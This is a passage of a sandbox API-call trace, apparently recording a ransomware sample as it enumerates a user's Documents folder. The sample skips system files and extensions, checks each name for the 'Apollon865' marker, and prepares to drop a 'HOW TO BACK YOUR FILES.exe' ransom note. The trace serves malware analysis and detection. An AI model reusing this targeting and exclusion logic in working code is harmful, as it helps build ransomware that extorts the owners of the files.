	[0040.570] lstrlenW (lpString="AXN5p.docx") returned 10
	[0040.571] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="BpE2.ots" | out: lpString1="BpE2.ots") returned="BpE2.ots"
	[0040.571] lstrlenW (lpString="BpE2.ots") returned 8
	[0040.571] lstrlenW (lpString="Apollon865") returned 10
	[0040.571] lstrlenW (lpString=".dll") returned 4
	[0040.571] lstrcmpiW (lpString1="BpE2.ots", lpString2=".dll") returned 1
	[0040.571] lstrlenW (lpString=".lnk") returned 4
	[0040.571] lstrcmpiW (lpString1="BpE2.ots", lpString2=".lnk") returned 1
	[0040.571] lstrlenW (lpString=".ini") returned 4
	[0040.571] lstrcmpiW (lpString1="BpE2.ots", lpString2=".ini") returned 1
	[0040.571] lstrlenW (lpString=".sys") returned 4
	[0040.571] lstrcmpiW (lpString1="BpE2.ots", lpString2=".sys") returned 1
	[0040.571] lstrlenW (lpString="BpE2.ots") returned 8
	[0040.571] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.571] lstrlenW (lpString="desktop.ini") returned 11
	[0040.571] lstrlenW (lpString="Apollon865") returned 10
	[0040.571] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.571] lstrlenW (lpString=".dll") returned 4
	[0040.571] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.571] lstrlenW (lpString=".lnk") returned 4
	[0040.571] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.571] lstrlenW (lpString=".ini") returned 4
	[0040.571] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.571] lstrlenW (lpString=".sys") returned 4
	[0040.571] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.571] lstrlenW (lpString="desktop.ini") returned 11
	[0040.571] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="ezDvt.xlsx" | out: lpString1="ezDvt.xlsx") returned="ezDvt.xlsx"
	[0040.571] lstrlenW (lpString="ezDvt.xlsx") returned 10
	[0040.571] lstrlenW (lpString="Apollon865") returned 10
	[0040.571] lstrlenW (lpString=".dll") returned 4
	[0040.571] lstrcmpiW (lpString1="ezDvt.xlsx", lpString2=".dll") returned 1
	[0040.571] lstrlenW (lpString=".lnk") returned 4
	[0040.571] lstrcmpiW (lpString1="ezDvt.xlsx", lpString2=".lnk") returned 1
	[0040.571] lstrlenW (lpString=".ini") returned 4
	[0040.571] lstrcmpiW (lpString1="ezDvt.xlsx", lpString2=".ini") returned 1
	[0040.572] lstrlenW (lpString=".sys") returned 4
	[0040.572] lstrcmpiW (lpString1="ezDvt.xlsx", lpString2=".sys") returned 1
	[0040.572] lstrlenW (lpString="ezDvt.xlsx") returned 10
	[0040.572] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="fbv2Rho0.ots" | out: lpString1="fbv2Rho0.ots") returned="fbv2Rho0.ots"
	[0040.572] lstrlenW (lpString="fbv2Rho0.ots") returned 12
	[0040.572] lstrlenW (lpString="Apollon865") returned 10
	[0040.572] lstrcmpiW (lpString1="v2Rho0.ots", lpString2="Apollon865") returned 1
	[0040.572] lstrlenW (lpString=".dll") returned 4
	[0040.572] lstrcmpiW (lpString1="fbv2Rho0.ots", lpString2=".dll") returned 1
	[0040.572] lstrlenW (lpString=".lnk") returned 4
	[0040.572] lstrcmpiW (lpString1="fbv2Rho0.ots", lpString2=".lnk") returned 1
	[0040.572] lstrlenW (lpString=".ini") returned 4
	[0040.572] lstrcmpiW (lpString1="fbv2Rho0.ots", lpString2=".ini") returned 1
	[0040.572] lstrlenW (lpString=".sys") returned 4
	[0040.572] lstrcmpiW (lpString1="fbv2Rho0.ots", lpString2=".sys") returned 1
	[0040.572] lstrlenW (lpString="fbv2Rho0.ots") returned 12
	[0040.572] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="FGzlr.pptx" | out: lpString1="FGzlr.pptx") returned="FGzlr.pptx"
	[0040.572] lstrlenW (lpString="FGzlr.pptx") returned 10
	[0040.572] lstrlenW (lpString="Apollon865") returned 10
	[0040.572] lstrlenW (lpString=".dll") returned 4
	[0040.572] lstrcmpiW (lpString1="FGzlr.pptx", lpString2=".dll") returned 1
	[0040.572] lstrlenW (lpString=".lnk") returned 4
	[0040.572] lstrcmpiW (lpString1="FGzlr.pptx", lpString2=".lnk") returned 1
	[0040.572] lstrlenW (lpString=".ini") returned 4
	[0040.572] lstrcmpiW (lpString1="FGzlr.pptx", lpString2=".ini") returned 1
	[0040.572] lstrlenW (lpString=".sys") returned 4
	[0040.572] lstrcmpiW (lpString1="FGzlr.pptx", lpString2=".sys") returned 1
	[0040.572] lstrlenW (lpString="FGzlr.pptx") returned 10
	[0040.572] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="FVRuKhjzI6IMU.docx" | out: lpString1="FVRuKhjzI6IMU.docx") returned="FVRuKhjzI6IMU.docx"
	[0040.572] lstrlenW (lpString="FVRuKhjzI6IMU.docx") returned 18
	[0040.572] lstrlenW (lpString="Apollon865") returned 10
	[0040.572] lstrcmpiW (lpString1="I6IMU.docx", lpString2="Apollon865") returned 1
	[0040.572] lstrlenW (lpString=".dll") returned 4
	[0040.573] lstrcmpiW (lpString1="FVRuKhjzI6IMU.docx", lpString2=".dll") returned 1
	[0040.573] lstrlenW (lpString=".lnk") returned 4
	[0040.573] lstrcmpiW (lpString1="FVRuKhjzI6IMU.docx", lpString2=".lnk") returned 1
	[0040.573] lstrlenW (lpString=".ini") returned 4
	[0040.573] lstrcmpiW (lpString1="FVRuKhjzI6IMU.docx", lpString2=".ini") returned 1
	[0040.573] lstrlenW (lpString=".sys") returned 4
	[0040.573] lstrcmpiW (lpString1="FVRuKhjzI6IMU.docx", lpString2=".sys") returned 1
	[0040.573] lstrlenW (lpString="FVRuKhjzI6IMU.docx") returned 18
	[0040.573] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="H1oqE WNe1jZLG.pptx" | out: lpString1="H1oqE WNe1jZLG.pptx") returned="H1oqE WNe1jZLG.pptx"
	[0040.573] lstrlenW (lpString="H1oqE WNe1jZLG.pptx") returned 19
	[0040.573] lstrlenW (lpString="Apollon865") returned 10
	[0040.573] lstrcmpiW (lpString1="1jZLG.pptx", lpString2="Apollon865") returned -1
	[0040.573] lstrlenW (lpString=".dll") returned 4
	[0040.573] lstrcmpiW (lpString1="H1oqE WNe1jZLG.pptx", lpString2=".dll") returned 1
	[0040.573] lstrlenW (lpString=".lnk") returned 4
	[0040.573] lstrcmpiW (lpString1="H1oqE WNe1jZLG.pptx", lpString2=".lnk") returned 1
	[0040.573] lstrlenW (lpString=".ini") returned 4
	[0040.573] lstrcmpiW (lpString1="H1oqE WNe1jZLG.pptx", lpString2=".ini") returned 1
	[0040.573] lstrlenW (lpString=".sys") returned 4
	[0040.573] lstrcmpiW (lpString1="H1oqE WNe1jZLG.pptx", lpString2=".sys") returned 1
	[0040.573] lstrlenW (lpString="H1oqE WNe1jZLG.pptx") returned 19
	[0040.573] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="J_QVxQinNbuWP4jb6Ddv.xlsx" | out: lpString1="J_QVxQinNbuWP4jb6Ddv.xlsx") returned="J_QVxQinNbuWP4jb6Ddv.xlsx"
	[0040.573] lstrlenW (lpString="J_QVxQinNbuWP4jb6Ddv.xlsx") returned 25
	[0040.573] lstrlenW (lpString="Apollon865") returned 10
	[0040.573] lstrcmpiW (lpString1="b6Ddv.xlsx", lpString2="Apollon865") returned 1
	[0040.573] lstrlenW (lpString=".dll") returned 4
	[0040.573] lstrcmpiW (lpString1="J_QVxQinNbuWP4jb6Ddv.xlsx", lpString2=".dll") returned 1
	[0040.573] lstrlenW (lpString=".lnk") returned 4
	[0040.573] lstrcmpiW (lpString1="J_QVxQinNbuWP4jb6Ddv.xlsx", lpString2=".lnk") returned 1
	[0040.573] lstrlenW (lpString=".ini") returned 4
	[0040.573] lstrcmpiW (lpString1="J_QVxQinNbuWP4jb6Ddv.xlsx", lpString2=".ini") returned 1
	[0040.573] lstrlenW (lpString=".sys") returned 4
	[0040.573] lstrcmpiW (lpString1="J_QVxQinNbuWP4jb6Ddv.xlsx", lpString2=".sys") returned 1
	[0040.573] lstrlenW (lpString="J_QVxQinNbuWP4jb6Ddv.xlsx") returned 25
	[0040.574] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="KL5fSVVmwk.odt" | out: lpString1="KL5fSVVmwk.odt") returned="KL5fSVVmwk.odt"
	[0040.574] lstrlenW (lpString="KL5fSVVmwk.odt") returned 14
	[0040.574] lstrlenW (lpString="Apollon865") returned 10
	[0040.574] lstrcmpiW (lpString1="SVVmwk.odt", lpString2="Apollon865") returned 1
	[0040.574] lstrlenW (lpString=".dll") returned 4
	[0040.574] lstrcmpiW (lpString1="KL5fSVVmwk.odt", lpString2=".dll") returned 1
	[0040.574] lstrlenW (lpString=".lnk") returned 4
	[0040.574] lstrcmpiW (lpString1="KL5fSVVmwk.odt", lpString2=".lnk") returned 1
	[0040.574] lstrlenW (lpString=".ini") returned 4
	[0040.574] lstrcmpiW (lpString1="KL5fSVVmwk.odt", lpString2=".ini") returned 1
	[0040.574] lstrlenW (lpString=".sys") returned 4
	[0040.574] lstrcmpiW (lpString1="KL5fSVVmwk.odt", lpString2=".sys") returned 1
	[0040.574] lstrlenW (lpString="KL5fSVVmwk.odt") returned 14
	[0040.574] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Lm4Zo0nm9gwsJeXLb.odt" | out: lpString1="Lm4Zo0nm9gwsJeXLb.odt") returned="Lm4Zo0nm9gwsJeXLb.odt"
	[0040.574] lstrlenW (lpString="Lm4Zo0nm9gwsJeXLb.odt") returned 21
	[0040.574] lstrlenW (lpString="Apollon865") returned 10
	[0040.574] lstrcmpiW (lpString1="sJeXLb.odt", lpString2="Apollon865") returned 1
	[0040.574] lstrlenW (lpString=".dll") returned 4
	[0040.574] lstrcmpiW (lpString1="Lm4Zo0nm9gwsJeXLb.odt", lpString2=".dll") returned 1
	[0040.574] lstrlenW (lpString=".lnk") returned 4
	[0040.574] lstrcmpiW (lpString1="Lm4Zo0nm9gwsJeXLb.odt", lpString2=".lnk") returned 1
	[0040.574] lstrlenW (lpString=".ini") returned 4
	[0040.574] lstrcmpiW (lpString1="Lm4Zo0nm9gwsJeXLb.odt", lpString2=".ini") returned 1
	[0040.574] lstrlenW (lpString=".sys") returned 4
	[0040.574] lstrcmpiW (lpString1="Lm4Zo0nm9gwsJeXLb.odt", lpString2=".sys") returned 1
	[0040.574] lstrlenW (lpString="Lm4Zo0nm9gwsJeXLb.odt") returned 21
	[0040.574] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="lrhosffgc.ppt" | out: lpString1="lrhosffgc.ppt") returned="lrhosffgc.ppt"
	[0040.574] lstrlenW (lpString="lrhosffgc.ppt") returned 13
	[0040.574] lstrlenW (lpString="Apollon865") returned 10
	[0040.574] lstrcmpiW (lpString1="osffgc.ppt", lpString2="Apollon865") returned 1
	[0040.574] lstrlenW (lpString=".dll") returned 4
	[0040.574] lstrcmpiW (lpString1="lrhosffgc.ppt", lpString2=".dll") returned 1
	[0040.575] lstrlenW (lpString=".lnk") returned 4
	[0040.575] lstrcmpiW (lpString1="lrhosffgc.ppt", lpString2=".lnk") returned 1
	[0040.575] lstrlenW (lpString=".ini") returned 4
	[0040.575] lstrcmpiW (lpString1="lrhosffgc.ppt", lpString2=".ini") returned 1
	[0040.575] lstrlenW (lpString=".sys") returned 4
	[0040.575] lstrcmpiW (lpString1="lrhosffgc.ppt", lpString2=".sys") returned 1
	[0040.575] lstrlenW (lpString="lrhosffgc.ppt") returned 13
	[0040.575] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Lt7HVi2neDmAk2.ppt" | out: lpString1="Lt7HVi2neDmAk2.ppt") returned="Lt7HVi2neDmAk2.ppt"
	[0040.575] lstrlenW (lpString="Lt7HVi2neDmAk2.ppt") returned 18
	[0040.575] lstrlenW (lpString="Apollon865") returned 10
	[0040.575] lstrcmpiW (lpString1="eDmAk2.ppt", lpString2="Apollon865") returned 1
	[0040.575] lstrlenW (lpString=".dll") returned 4
	[0040.575] lstrcmpiW (lpString1="Lt7HVi2neDmAk2.ppt", lpString2=".dll") returned 1
	[0040.575] lstrlenW (lpString=".lnk") returned 4
	[0040.575] lstrcmpiW (lpString1="Lt7HVi2neDmAk2.ppt", lpString2=".lnk") returned 1
	[0040.575] lstrlenW (lpString=".ini") returned 4
	[0040.575] lstrcmpiW (lpString1="Lt7HVi2neDmAk2.ppt", lpString2=".ini") returned 1
	[0040.575] lstrlenW (lpString=".sys") returned 4
	[0040.575] lstrcmpiW (lpString1="Lt7HVi2neDmAk2.ppt", lpString2=".sys") returned 1
	[0040.575] lstrlenW (lpString="Lt7HVi2neDmAk2.ppt") returned 18
	[0040.575] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="mfTqf-fRuzx5Vlc.odt" | out: lpString1="mfTqf-fRuzx5Vlc.odt") returned="mfTqf-fRuzx5Vlc.odt"
	[0040.575] lstrlenW (lpString="mfTqf-fRuzx5Vlc.odt") returned 19
	[0040.575] lstrlenW (lpString="Apollon865") returned 10
	[0040.575] lstrcmpiW (lpString1="zx5Vlc.odt", lpString2="Apollon865") returned 1
	[0040.575] lstrlenW (lpString=".dll") returned 4
	[0040.575] lstrcmpiW (lpString1="mfTqf-fRuzx5Vlc.odt", lpString2=".dll") returned 1
	[0040.575] lstrlenW (lpString=".lnk") returned 4
	[0040.575] lstrcmpiW (lpString1="mfTqf-fRuzx5Vlc.odt", lpString2=".lnk") returned 1
	[0040.575] lstrlenW (lpString=".ini") returned 4
	[0040.575] lstrcmpiW (lpString1="mfTqf-fRuzx5Vlc.odt", lpString2=".ini") returned 1
	[0040.575] lstrlenW (lpString=".sys") returned 4
	[0040.575] lstrcmpiW (lpString1="mfTqf-fRuzx5Vlc.odt", lpString2=".sys") returned 1
	[0040.575] lstrlenW (lpString="mfTqf-fRuzx5Vlc.odt") returned 19
	[0040.576] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="mgwNbHxlW6.xlsx" | out: lpString1="mgwNbHxlW6.xlsx") returned="mgwNbHxlW6.xlsx"
	[0040.576] lstrlenW (lpString="mgwNbHxlW6.xlsx") returned 15
	[0040.576] lstrlenW (lpString="Apollon865") returned 10
	[0040.576] lstrcmpiW (lpString1="HxlW6.xlsx", lpString2="Apollon865") returned 1
	[0040.576] lstrlenW (lpString=".dll") returned 4
	[0040.576] lstrcmpiW (lpString1="mgwNbHxlW6.xlsx", lpString2=".dll") returned 1
	[0040.576] lstrlenW (lpString=".lnk") returned 4
	[0040.576] lstrcmpiW (lpString1="mgwNbHxlW6.xlsx", lpString2=".lnk") returned 1
	[0040.576] lstrlenW (lpString=".ini") returned 4
	[0040.576] lstrcmpiW (lpString1="mgwNbHxlW6.xlsx", lpString2=".ini") returned 1
	[0040.576] lstrlenW (lpString=".sys") returned 4
	[0040.576] lstrcmpiW (lpString1="mgwNbHxlW6.xlsx", lpString2=".sys") returned 1
	[0040.576] lstrlenW (lpString="mgwNbHxlW6.xlsx") returned 15
	[0040.576] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="My Music" | out: lpString1="My Music") returned="My Music"
	[0040.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599a78
	[0040.576] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.576] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1
	[0040.576] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1
	[0040.576] lstrlenW (lpString="My Pictures") returned 11
	[0040.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 48
	[0040.577] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures"
	[0040.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599450
	[0040.577] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.577] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="Apollon865.txt.exe") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2=".") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="..") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="windows") returned -1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="bootmgr") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="temp") returned -1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="pagefile.sys") returned -1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="boot") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="ids.txt") returned 1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="ntuser.dat") returned -1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="perflogs") returned -1
	[0040.577] lstrcmpiW (lpString1="My Shapes", lpString2="MSBuild") returned 1
	[0040.577] lstrlenW (lpString="My Shapes") returned 9
	[0040.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 51
	[0040.577] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes"
	[0040.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5994c0
	[0040.577] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.577] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="Apollon865.txt.exe") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1
	[0040.577] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1
	[0040.578] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1
	[0040.578] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1
	[0040.578] lstrlenW (lpString="My Videos") returned 9
	[0040.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 49
	[0040.578] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos"
	[0040.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0040.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x599530
	[0040.578] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0040.578] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="Apollon865.txt.exe") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2=".") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="..") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="windows") returned -1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="bootmgr") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="temp") returned -1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="pagefile.sys") returned -1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="boot") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="ids.txt") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="ntuser.dat") returned 1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="perflogs") returned -1
	[0040.578] lstrcmpiW (lpString1="Outlook Files", lpString2="MSBuild") returned 1
	[0040.578] lstrlenW (lpString="Outlook Files") returned 13
	[0040.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned 49
	[0040.578] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files"
	[0040.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0040.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0040.578] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0040.578] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45976b0, ftCreationTime.dwHighDateTime=0x1d5430c, ftLastAccessTime.dwLowDateTime=0xdb5b8870, ftLastAccessTime.dwHighDateTime=0x1d54c3e, ftLastWriteTime.dwLowDateTime=0xdb5b8870, ftLastWriteTime.dwHighDateTime=0x1d54c3e, nFileSizeHigh=0x0, nFileSizeLow=0x2f52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pj4VXC1kWa4sQy3g.pptx", cAlternateFileName="PJ4VXC~1.PPT")) returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="Apollon865.txt.exe") returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2=".") returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="..") returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="windows") returned -1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="bootmgr") returned 1
	[0040.578] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="temp") returned -1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="pagefile.sys") returned 1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="boot") returned 1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="ids.txt") returned 1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="ntuser.dat") returned 1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="perflogs") returned 1
	[0040.579] lstrcmpiW (lpString1="Pj4VXC1kWa4sQy3g.pptx", lpString2="MSBuild") returned 1
	[0040.579] lstrlenW (lpString="Pj4VXC1kWa4sQy3g.pptx") returned 21
	[0040.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 53
	[0040.579] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files"
	[0040.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0040.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 53
	[0040.579] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files"
	[0040.579] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
